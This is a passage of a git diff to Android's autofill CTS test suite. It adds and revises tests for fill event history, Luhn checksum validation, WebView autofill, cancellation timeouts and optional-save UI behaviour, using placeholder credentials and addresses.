assertThat(event2.getType()).isEqualTo(TYPE_SAVE_SHOWN);
assertThat(event2.getDatasetId()).isNull();
- });
+ }
}
@Test
@@ -2743,11 +3211,15 @@
.setPresentation(createPresentation("dataset1"))
.build())
.build());
+ mActivity.expectAutoFill("username");
+
mActivity.onUsername(View::requestFocus);
+ waitUntilConnected();
sReplier.getNextFillRequest();
sUiBot.selectDataset("dataset1");
+ mActivity.assertAutoFilled();
- eventually(() -> {
+ {
// Verify fill selection
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
@@ -2757,20 +3229,21 @@
FillEventHistory.Event event = selection.getEvents().get(0);
assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
assertThat(event.getDatasetId()).isNull();
- });
+ }
// Second request
sReplier.addResponse(NO_RESPONSE);
mActivity.onPassword(View::requestFocus);
sReplier.getNextFillRequest();
sUiBot.assertNoDatasets();
+ waitUntilDisconnected();
- eventually(() -> {
+ {
// Verify fill selection
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
assertThat(selection).isNull();
- });
+ }
}
@Test
@@ -2784,12 +3257,15 @@
.setPresentation(createPresentation("dataset1"))
.build())
.build());
+ mActivity.expectAutoFill("username");
+
mActivity.onUsername(View::requestFocus);
waitUntilConnected();
sReplier.getNextFillRequest();
sUiBot.selectDataset("dataset1");
+ mActivity.assertAutoFilled();
- eventually(() -> {
+ {
// Verify fill selection
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
@@ -2799,20 +3275,21 @@
FillEventHistory.Event event = selection.getEvents().get(0);
assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
assertThat(event.getDatasetId()).isNull();
- });
+ }
// Second request
sReplier.addResponse(new CannedFillResponse.Builder().returnFailure("D'OH!").build());
mActivity.onPassword(View::requestFocus);
sReplier.getNextFillRequest();
sUiBot.assertNoDatasets();
+ waitUntilDisconnected();
- eventually(() -> {
+ {
// Verify fill selection
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
assertThat(selection).isNull();
- });
+ }
}
@Test
@@ -2826,12 +3303,15 @@
.setPresentation(createPresentation("dataset1"))
.build())
.build());
+ mActivity.expectAutoFill("username");
+
mActivity.onUsername(View::requestFocus);
waitUntilConnected();
sReplier.getNextFillRequest();
sUiBot.selectDataset("dataset1");
+ mActivity.assertAutoFilled();
- eventually(() -> {
+ {
// Verify fill selection
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
@@ -2841,7 +3321,7 @@
FillEventHistory.Event event = selection.getEvents().get(0);
assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
assertThat(event.getDatasetId()).isNull();
- });
+ }
// Second request
sReplier.addResponse(DO_NOT_REPLY_RESPONSE);
@@ -2849,12 +3329,12 @@
sReplier.getNextFillRequest();
waitUntilDisconnected();
- eventually(() -> {
+ {
// Verify fill selection
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
assertThat(selection).isNull();
- });
+ }
}
private Bundle getBundle(String key, String value) {
@@ -2898,7 +3378,7 @@
assertThat(selectionA.getEvents()).isNull();
// Launch activity B
- getContext().startActivity(new Intent(getContext(), CheckoutActivity.class));
+ mContext.startActivity(new Intent(mContext, CheckoutActivity.class));
// Trigger autofill on activity B
sReplier.addResponse(new CannedFillResponse.Builder()
@@ -2920,6 +3400,7 @@
// Now switch back to A...
sUiBot.pressBack(); // dismiss keyboard
sUiBot.pressBack(); // dismiss task
+ sUiBot.assertShownByRelativeId(ID_USERNAME);
// ...and trigger save
// Set credentials...
mActivity.onUsername((v) -> v.setText("malkovich"));
@@ -2961,10 +3442,133 @@
// Now disable user_complete and try again.
try {
- setUserComplete(getContext(), false);
+ setUserComplete(mContext, false);
assertThat(afm.isEnabled()).isFalse();
} finally {
- setUserComplete(getContext(), true);
+ setUserComplete(mContext, true);
}
}
+
+ @Test
+ public void testPopupGoesAwayWhenServiceIsChanged() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("The Dude"))
+ .build());
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("The Dude");
+
+ // Now disable service by setting another service
+ Helper.enableAutofillService(mContext, NoOpAutofillService.SERVICE_NAME);
+
+ // ...and make sure popup's gone
+ sUiBot.assertNoDatasets();
+ }
+
+ @Test
+ public void testAutofillMovesCursorToTheEnd() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("The Dude"))
+ .build());
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ // Auto-fill it.
+ sUiBot.selectDataset("The Dude");
+
+ // Check the results.
+ mActivity.assertAutoFilled();
+
+ // NOTE: need to call getSelectionEnd() inside the UI thread, otherwise it returns 0
+ final AtomicInteger atomicBombToKillASmallInsect = new AtomicInteger();
+
+ mActivity.onUsername((v) -> atomicBombToKillASmallInsect.set(v.getSelectionEnd()));
+ assertWithMessage("Wrong position on username").that(atomicBombToKillASmallInsect.get())
+ .isEqualTo(4);
+
+ mActivity.onPassword((v) -> atomicBombToKillASmallInsect.set(v.getSelectionEnd()));
+ assertWithMessage("Wrong position on password").that(atomicBombToKillASmallInsect.get())
+ .isEqualTo(5);
+ }
+
+ @Test
+ public void testAutofillLargeNumberOfDatasets() throws Exception {
+ // Set service.
+ enableService();
+
+ final StringBuilder bigStringBuilder = new StringBuilder();
+ for (int i = 0; i < 10_000 ; i++) {
+ bigStringBuilder.append("BigAmI");
+ }
+ final String bigString = bigStringBuilder.toString();
+
+ final int size = 100;
+ Log.d(TAG, "testAutofillLargeNumberOfDatasets(): " + size + " datasets with "
+ + bigString.length() +"-bytes id");
+
+ final CannedFillResponse.Builder response = new CannedFillResponse.Builder();
+ for (int i = 0; i < size; i++) {
+ final String suffix = "-" + (i + 1);
+ response.addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "user" + suffix)
+ .setField(ID_PASSWORD, "pass" + suffix)
+ .setId(bigString)
+ .setPresentation(createPresentation("DS" + suffix))
+ .build());
+ }
+
+ // Set expectations.
+ sReplier.addResponse(response.build());
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ // Make sure all datasets are shown.
+ // TODO: improve assertDatasets() so it supports scrolling, and assert all of them are
+ // shown
+ sUiBot.assertDatasets("DS-1", "DS-2", "DS-3");
+
+ // TODO: once it supports scrolling, selects the last dataset and asserts it's filled.
+ }
+
+ @Test
+ public void testCancellationSignalCalledAfterTimeout() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final OneTimeCancellationSignalListener listener =
+ new OneTimeCancellationSignalListener(Helper.FILL_TIMEOUT_MS + 2000);
+ sReplier.addResponse(DO_NOT_REPLY_RESPONSE);
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Attach listener to CancellationSignal.
+ waitUntilConnected();
+ sReplier.getNextFillRequest().cancellationSignal.setOnCancelListener(listener);
+
+ // AssertResults
+ waitUntilDisconnected();
+ listener.assertOnCancelCalled();
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java
new file mode 100644
index 0000000..09600a8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.LuhnChecksumValidator;
+import android.service.autofill.ValueFinder;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillId;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class LuhnChecksumValidatorTest {
+
+ @Test
+ public void nullId() {
+ assertThrows(NullPointerException.class,
+ () -> new LuhnChecksumValidator((AutofillId[]) null));
+ }
+
+ @Test
+ public void nullAndOtherId() {
+ assertThrows(NullPointerException.class,
+ () -> new LuhnChecksumValidator(new AutofillId(1), null));
+ }
+
+ @Test
+ public void duplicateFields() {
+ AutofillId id = new AutofillId(1);
+
+ // duplicate fields are allowed
+ LuhnChecksumValidator validator = new LuhnChecksumValidator(id, id);
+
+ ValueFinder finder = mock(ValueFinder.class);
+
+ // 5 is a valid checksum for 0005000
+ when(finder.findByAutofillId(id)).thenReturn("0005");
+ assertThat(validator.isValid(finder)).isTrue();
+
+ // 6 is a not a valid checksum for 0006000
+ when(finder.findByAutofillId(id)).thenReturn("0006");
+ assertThat(validator.isValid(finder)).isFalse();
+ }
+
+ @Test
+ public void leadingZerosAreIgnored() {
+ AutofillId id = new AutofillId(1);
+
+ LuhnChecksumValidator validator = new LuhnChecksumValidator(id);
+
+ ValueFinder finder = mock(ValueFinder.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("7992739871-3");
+ assertThat(validator.isValid(finder)).isTrue();
+
+ when(finder.findByAutofillId(id)).thenReturn("07992739871-3");
+ assertThat(validator.isValid(finder)).isTrue();
+ }
+
+ @Test
+ public void onlyOneChecksumValid() {
+ AutofillId id = new AutofillId(1);
+
+ LuhnChecksumValidator validator = new LuhnChecksumValidator(id);
+
+ ValueFinder finder = mock(ValueFinder.class);
+
+ for (int i = 0; i < 10; i++) {
+ when(finder.findByAutofillId(id)).thenReturn("7992739871-" + i);
+ assertThat(validator.isValid(finder)).isEqualTo(i == 3);
+ }
+ }
+
+ @Test
+ public void nullAutofillValuesCauseFailure() {
+ AutofillId id1 = new AutofillId(1);
+ AutofillId id2 = new AutofillId(2);
+ AutofillId id3 = new AutofillId(3);
+
+ LuhnChecksumValidator validator = new LuhnChecksumValidator(id1, id2, id3);
+
+ ValueFinder finder = mock(ValueFinder.class);
+
+ when(finder.findByAutofillId(id1)).thenReturn("7992739871");
+ when(finder.findByAutofillId(id2)).thenReturn(null);
+ when(finder.findByAutofillId(id3)).thenReturn("3");
+
+ assertThat(validator.isValid(finder)).isFalse();
+ }
+
+ @Test
+ public void nonDigits() {
+ AutofillId id = new AutofillId(1);
+
+ LuhnChecksumValidator validator = new LuhnChecksumValidator(id);
+
+ ValueFinder finder = mock(ValueFinder.class);
+ when(finder.findByAutofillId(id)).thenReturn("a7B9^9\n2 7{3\b9\08\uD83C\uDF2D7-1_3$");
+ assertThat(validator.isValid(finder)).isTrue();
+ }
+
+ @Test
+ public void multipleFieldNumber() {
+ AutofillId id1 = new AutofillId(1);
+ AutofillId id2 = new AutofillId(2);
+
+ LuhnChecksumValidator validator = new LuhnChecksumValidator(id1, id2);
+
+ ValueFinder finder = mock(ValueFinder.class);
+
+ when(finder.findByAutofillId(id1)).thenReturn("7992739871");
+ when(finder.findByAutofillId(id2)).thenReturn("3");
+ assertThat(validator.isValid(finder)).isTrue();
+
+ when(finder.findByAutofillId(id2)).thenReturn("2");
+ assertThat(validator.isValid(finder)).isFalse();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ManualAuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/ManualAuthenticationActivity.java
index 026cf08..14cb3dd 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ManualAuthenticationActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ManualAuthenticationActivity.java
@@ -16,8 +16,6 @@
package android.autofillservice.cts;
-import static com.google.common.truth.Truth.assertWithMessage;
-
import android.app.Activity;
import android.app.assist.AssistStructure;
import android.content.Intent;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java
index 3750c30..52c3bcc 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java
@@ -62,21 +62,19 @@
/**
* Throws one exception merging all exceptions thrown or added so far, if any.
*/
- public void throwIfAny() throws Exception {
+ public void throwIfAny() throws Throwable {
if (mThrowables.isEmpty()) return;
- if (mThrowables.size() == 1) {
- final Throwable t = mThrowables.get(0);
- if (t instanceof Exception) {
- throw (Exception) t;
- }
+ final int numberExceptions = mThrowables.size();
+ if (numberExceptions == 1) {
+ throw mThrowables.get(0);
}
String msg = "D'OH!";
try {
try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
- sw.write("Caught " + mThrowables.size() + " exceptions\n");
- for (int i = 0; i < mThrowables.size(); i++) {
+ sw.write("Caught " + numberExceptions + " exceptions\n");
+ for (int i = 0; i < numberExceptions; i++) {
sw.write("\n---- Begin of exception #" + (i + 1) + " ----\n");
final Throwable exception = mThrowables.get(i);
exception.printStackTrace(pw);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java b/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
index 48b0c2f..1ba8755 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
@@ -80,7 +80,17 @@
void assertUiShownEvent(View expectedView, int expectedChildId) throws InterruptedException {
final MyEvent event = assertUiShownEvent(expectedView);
assertWithMessage("Invalid child on event %s", event).that(event.childId)
- .isSameAs(expectedChildId);
+ .isEqualTo(expectedChildId);
+ }
+
+ /**
+ * Convenience method to assert an UI shown event a virtual view was received.
+ *
+ * @return virtual child id
+ */
+ int assertUiShownEventForVirtualChild(View expectedView) throws InterruptedException {
+ final MyEvent event = assertUiShownEvent(expectedView);
+ return event.childId;
}
/**
@@ -101,7 +111,7 @@
void assertUiHiddenEvent(View expectedView, int expectedChildId) throws InterruptedException {
final MyEvent event = assertUiHiddenEvent(expectedView);
assertWithMessage("Invalid child on event %s", event).that(event.childId)
- .isSameAs(expectedChildId);
+ .isEqualTo(expectedChildId);
}
/**
@@ -123,7 +133,7 @@
throws InterruptedException {
final MyEvent event = assertUiUnavailableEvent(expectedView);
assertWithMessage("Invalid child on event %s", event).that(event.childId)
- .isSameAs(expectedChildId);
+ .isEqualTo(expectedChildId);
}
private static final class MyEvent {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java b/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
new file mode 100644
index 0000000..5317d89
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.Context;
+import android.util.AttributeSet;
+import android.util.Log;
+import android.util.SparseArray;
+import android.view.autofill.AutofillManager;
+import android.view.autofill.AutofillValue;
+import android.webkit.WebView;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link WebView} used to assert contents were autofilled.
+ */
+public class MyWebView extends WebView {
+
+ private static final String TAG = "MyWebView";
+ private FillExpectation mExpectation;
+
+ public MyWebView(Context context, AttributeSet attrs) {
+ super(context, attrs);
+ Log.d(TAG, "isAutofillEnabled() on constructor? " + isAutofillEnabled());
+ }
+
+ public void expectAutofill(String username, String password) {
+ mExpectation = new FillExpectation(username, password);
+ }
+
+ public void assertAutofilled() throws Exception {
+ assertWithMessage("expectAutofill() not called").that(mExpectation).isNotNull();
+ final boolean set = mExpectation.mLatch.await(FILL_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ if (mExpectation.mException != null) {
+ throw mExpectation.mException;
+ }
+ assertWithMessage("Timeout (%s ms) expecting autofill()", FILL_TIMEOUT_MS)
+ .that(set).isTrue();
+ assertWithMessage("Wrong value for username").that(mExpectation.mActualUsername)
+ .isEqualTo(mExpectation.mExpectedUsername);
+ assertWithMessage("Wrong value for password").that(mExpectation.mActualPassword)
+ .isEqualTo(mExpectation.mExpectedPassword);
+ }
+
+ @Override
+ public void autofill(SparseArray<AutofillValue> values) {
+ super.autofill(values);
+
+ if (mExpectation == null) return;
+
+ try {
+ if (values == null || values.size() != 2) {
+ mExpectation.mException =
+ new IllegalArgumentException("Invalid values on autofill(): " + values);
+ } else {
+ try {
+ mExpectation.mActualUsername = values.valueAt(0).getTextValue().toString();
+ mExpectation.mActualPassword = values.valueAt(1).getTextValue().toString();
+ } catch (Exception e) {
+ mExpectation.mException = e;
+ }
+ }
+ } finally {
+ mExpectation.mLatch.countDown();
+ }
+ }
+
+ boolean isAutofillEnabled() {
+ return getContext().getSystemService(AutofillManager.class).isEnabled();
+ }
+
+ private class FillExpectation {
+ private final CountDownLatch mLatch = new CountDownLatch(1);
+ private final String mExpectedUsername;
+ private final String mExpectedPassword;
+ private String mActualUsername;
+ private String mActualPassword;
+ private Exception mException;
+
+ FillExpectation(String username, String password) {
+ this.mExpectedUsername = username;
+ this.mExpectedPassword = password;
+ }
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeCancellationSignalListener.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeCancellationSignalListener.java
new file mode 100644
index 0000000..0b055e0
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/OneTimeCancellationSignalListener.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.os.CancellationSignal;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link android.os.CancellationSignal.OnCancelListener} used to assert that
+ * {@link android.os.CancellationSignal.OnCancelListener} was called, and just once.
+ */
+final class OneTimeCancellationSignalListener implements CancellationSignal.OnCancelListener {
+ private final CountDownLatch mLatch = new CountDownLatch(1);
+ private final long mTimeoutMs;
+
+ OneTimeCancellationSignalListener(long timeoutMs) {
+ mTimeoutMs = timeoutMs;
+ }
+
+ void assertOnCancelCalled() throws Exception {
+ final boolean called = mLatch.await(mTimeoutMs, TimeUnit.MILLISECONDS);
+ assertWithMessage("Timeout (%s ms) waiting for onCancel()", mTimeoutMs)
+ .that(called).isTrue();
+ }
+
+ @Override
+ public void onCancel() {
+ mLatch.countDown();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeCompoundButtonListener.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeCompoundButtonListener.java
index fee5e31..071dec6 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OneTimeCompoundButtonListener.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OneTimeCompoundButtonListener.java
@@ -16,9 +16,9 @@
package android.autofillservice.cts;
-import static com.google.common.truth.Truth.assertWithMessage;
+import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
-import static android.autofillservice.cts.Helper.*;
+import static com.google.common.truth.Truth.assertWithMessage;
import android.widget.CompoundButton;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java
index 9c0d196..e326231 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java
@@ -20,7 +20,6 @@
import android.content.Intent;
import android.os.Bundle;
-import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
index d1b8400..c82fa42 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
@@ -15,6 +15,7 @@
*/
package android.autofillservice.cts;
+import static android.autofillservice.cts.Helper.assertNoDanglingSessions;
import static android.autofillservice.cts.Helper.assertTextAndValue;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
import static android.autofillservice.cts.OptionalSaveActivity.ID_ADDRESS1;
@@ -28,6 +29,8 @@
import android.app.assist.AssistStructure;
import android.autofillservice.cts.CannedFillResponse.CannedDataset;
import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
import org.junit.After;
import org.junit.Before;
@@ -47,6 +50,9 @@
*/
public class OptionalSaveActivityTest extends AutoFillServiceTestCase {
+ private static final boolean EXPECT_NO_SAVE_UI = false;
+ private static final boolean EXPECT_SAVE_UI = false;
+
@Rule
public final AutofillActivityTestRule<OptionalSaveActivity> mActivityRule =
new AutofillActivityTestRule<OptionalSaveActivity>(OptionalSaveActivity.class);
@@ -430,4 +436,248 @@
// Once saved, the session should be finsihed.
assertNoDanglingSessions();
}
+
+ @Test
+ public void testDontShowSaveUiWhenUserManuallyFilled_oneDatasetAllRequiredFields()
+ throws Exception {
+ saveWhenUserFilledDatasetFields(
+ new String[] {ID_ADDRESS1, ID_ADDRESS2},
+ null,
+ () -> {
+ mActivity.mAddress1.setText("742 Evergreen Terrace");
+ mActivity.mAddress2.setText("Simpsons House");
+ },
+ EXPECT_NO_SAVE_UI,
+ new CannedDataset.Builder()
+ .setPresentation(createPresentation("SF"))
+ .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+ .setField(ID_ADDRESS2, "Simpsons House")
+ .build()
+ );
+ }
+
+ @Test
+ public void testDontShowSaveUiWhenUserManuallyFilled_oneDatasetRequiredAndOptionalFields()
+ throws Exception {
+ saveWhenUserFilledDatasetFields(
+ new String[] {ID_ADDRESS1},
+ new String[] {ID_ADDRESS2},
+ () -> {
+ mActivity.mAddress1.setText("742 Evergreen Terrace");
+ mActivity.mAddress2.setText("Simpsons House");
+ },
+ EXPECT_NO_SAVE_UI,
+ new CannedDataset.Builder()
+ .setPresentation(createPresentation("SF"))
+ .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+ .setField(ID_ADDRESS2, "Simpsons House")
+ .build()
+ );
+ }
+
+ @Test
+ public void testDontShowSaveUiWhenUserManuallyFilled_multipleDatasetsDataOnFirst()
+ throws Exception {
+ saveWhenUserFilledDatasetFields(
+ new String[] {ID_ADDRESS1},
+ new String[] {ID_ADDRESS2},
+ () -> {
+ mActivity.mAddress1.setText("742 Evergreen Terrace");
+ mActivity.mAddress2.setText("Simpsons House");
+ },
+ EXPECT_NO_SAVE_UI,
+ new CannedDataset.Builder()
+ .setPresentation(createPresentation("SF"))
+ .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+ .setField(ID_ADDRESS2, "Simpsons House")
+ .build(),
+ new CannedDataset.Builder()
+ .setPresentation(createPresentation("SV"))
+ .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+ .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+ .build()
+ );
+ }
+
+ @Test
+ public void testDontShowSaveUiWhenUserManuallyFilled_multipleDatasetsDataOnSecond()
+ throws Exception {
+ saveWhenUserFilledDatasetFields(
+ new String[] {ID_ADDRESS1},
+ new String[] {ID_ADDRESS2},
+ () -> {
+ mActivity.mAddress1.setText("Shelbyville Nuclear Power Plant");
+ mActivity.mAddress2.setText("Shelbyville Bluffs");
+ },
+ EXPECT_NO_SAVE_UI,
+ new CannedDataset.Builder()
+ .setPresentation(createPresentation("SF"))
+ .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+ .setField(ID_ADDRESS2, "Simpsons House")
+ .build(),
+ new CannedDataset.Builder()
+ .setPresentation(createPresentation("SV"))
+ .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+ .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+ .build()
+ );
+ }
+
+ @Test
+ public void testShowSaveUiWhenUserManuallyFilled_requiredOnly()
+ throws Exception {
+ saveWhenUserFilledDatasetFields(
+ new String[] {ID_ADDRESS1},
+ new String[] {ID_ADDRESS2},
+ () -> {
+ mActivity.mAddress1.setText("742 Evergreen Terrace");
+ },
+ EXPECT_SAVE_UI,
+ new CannedDataset.Builder()
+ .setPresentation(createPresentation("SF"))
+ .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+ .setField(ID_ADDRESS2, "Simpsons House")
+ .build()
+ );
+ }
+
+ @Test
+ public void testShowSaveUiWhenUserManuallyFilled_optionalOnly()
+ throws Exception {
+ saveWhenUserFilledDatasetFields(
+ new String[] {ID_ADDRESS1},
+ new String[] {ID_ADDRESS2},
+ () -> {
+ mActivity.mAddress2.setText("Simpsons House");
+ },
+ EXPECT_SAVE_UI,
+ new CannedDataset.Builder()
+ .setPresentation(createPresentation("SF"))
+ .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+ .setField(ID_ADDRESS2, "Simpsons House")
+ .build()
+ );
+ }
+
+ private void saveWhenUserFilledDatasetFields(@NonNull String[] requiredIds,
+ @Nullable String[] optionalIds, @NonNull Runnable changes, boolean expectSaveUi,
+ @NonNull CannedDataset...datasets) throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, requiredIds);
+ if (optionalIds != null) {
+ response.setOptionalSavableIds(optionalIds);
+ }
+ for (CannedDataset dataset : datasets) {
+ response.addDataset(dataset);
+ }
+ sReplier.addResponse(response.build());
+
+ // Trigger auto-fill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+ sReplier.getNextFillRequest();
+
+ // Manually fill it.
+ mActivity.syncRunOnUiThread(changes);
+
+ // Make sure the snack bar is not shown.
+ if (expectSaveUi) {
+ sUiBot.assertSaveShowing(SAVE_DATA_TYPE_ADDRESS);
+ } else {
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
+ }
+
+ // ...then tap save.
+ mActivity.save();
+
+ // Assert the snack bar is not shown.
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
+ }
+
+ @Test
+ public void testDontShowSaveUiWhenUserClearedAutofilledFieldThatIsRequired() throws Exception {
+ // Set service.
+ enableService();
+
+ mActivity.expectAutoFill("742 Evergreen Terrace", "Simpsons House",
+ "Springfield", "Yellow");
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_ADDRESS2)
+ .setOptionalSavableIds(ID_CITY)
+ .addDataset(new CannedDataset.Builder()
+ .setPresentation(createPresentation("SF"))
+ .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+ .setField(ID_ADDRESS2, "Simpsons House")
+ .setField(ID_CITY, "Springfield")
+ .setField(ID_FAVORITE_COLOR, "Yellow")
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+ sReplier.getNextFillRequest();
+
+ sUiBot.selectDataset("SF");
+ mActivity.assertAutoFilled();
+
+ // Clear the field.
+ mActivity.syncRunOnUiThread(() -> mActivity.mAddress2.setText(""));
+
+ // Trigger save...
+ mActivity.save();
+
+ // ...and make sure the snack bar is not shown.
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
+ }
+
+ @Test
+ public void testShowSaveUiWhenUserClearedAutofilledFieldThatIsOptional() throws Exception {
+ // Set service.
+ enableService();
+
+ mActivity.expectAutoFill("742 Evergreen Terrace", "Simpsons House",
+ "Springfield", "Yellow");
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
